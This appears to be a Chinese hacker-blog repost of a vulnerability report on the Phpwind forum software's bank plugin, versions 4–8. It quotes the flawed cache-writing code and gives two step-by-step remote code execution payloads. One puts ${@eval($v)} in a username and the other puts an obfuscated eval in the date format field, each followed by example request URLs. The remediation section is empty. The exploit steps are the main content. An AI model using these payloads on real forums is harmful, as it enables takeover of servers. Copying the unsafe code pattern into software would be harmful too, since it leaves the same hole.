记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Phpwind的v4/5/6/7/8命令执行漏洞

2016-02-08 18:25

hack/bank/index.php

code 区域
$_DDESPOSTDB=array();

$query=$db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC LIMIT $bk_num");

while($deposit=$db->fetch_array($query)){

if($deposit['ddeposit']){

$deposit['dstartdate']=get_date($deposit['dstartdate']);

$_DDESPOSTDB[]=array($deposit['uid'],$deposit['username'],$deposit['ddeposit'],$deposit['dstartdate']);

}

}

$wirtedb=savearray('_DESPOSTDB',$_DESPOSTDB);

$wirtedb.="\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);

writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');

}

...

function savearray($name,$array){

$arraydb="\$$name=array(\r\n\t\t";

foreach($array as $value1){

$arraydb.='array(';

foreach($value1 as $value2){

$arraydb.='"'.addslashes($value2).'",';

}

$arraydb.="),\r\n\t\t";

}

$arraydb.=");\r\n";

return $arraydb;

}





挺明显的一个漏洞,里面可以利用的点是注册的用户名和日期格式,不过这两个地方都有字数限制,真正要利用起来的话需要点技巧,废话不多说了,直接贴上当时写的一个简单的利用方式:



code 区域
phpwind所有版本远程代码执行漏洞

i)



注册新用户,用户名为${@eval($v)},发表新帖或其他方式获得金钱后,使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:



eval($v)



利用方法[PW6以上版本需要register_globals=on]:



**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();

**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();



ii)



编辑用户资料,在[日期格式][自定义]处填写${@\ev\a\l($v)},使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:



eval($v)



利用方法[PW6以上版本需要register_globals=on]:



**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();

**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();





成文较早,并且关于PW6的说明是后加入的,因为没怎么跟PW5后的代码,当时的描述可能不准确,后来听某人跟我反馈说PW6里貌似有可直接利用的变量,从而绕过全局的限制,我就不再验证了,有兴趣的自行跟。

漏洞证明:

修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2016-0153249

阅读:197615 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“Phpwind的v4/5/6/7/8命令执行漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云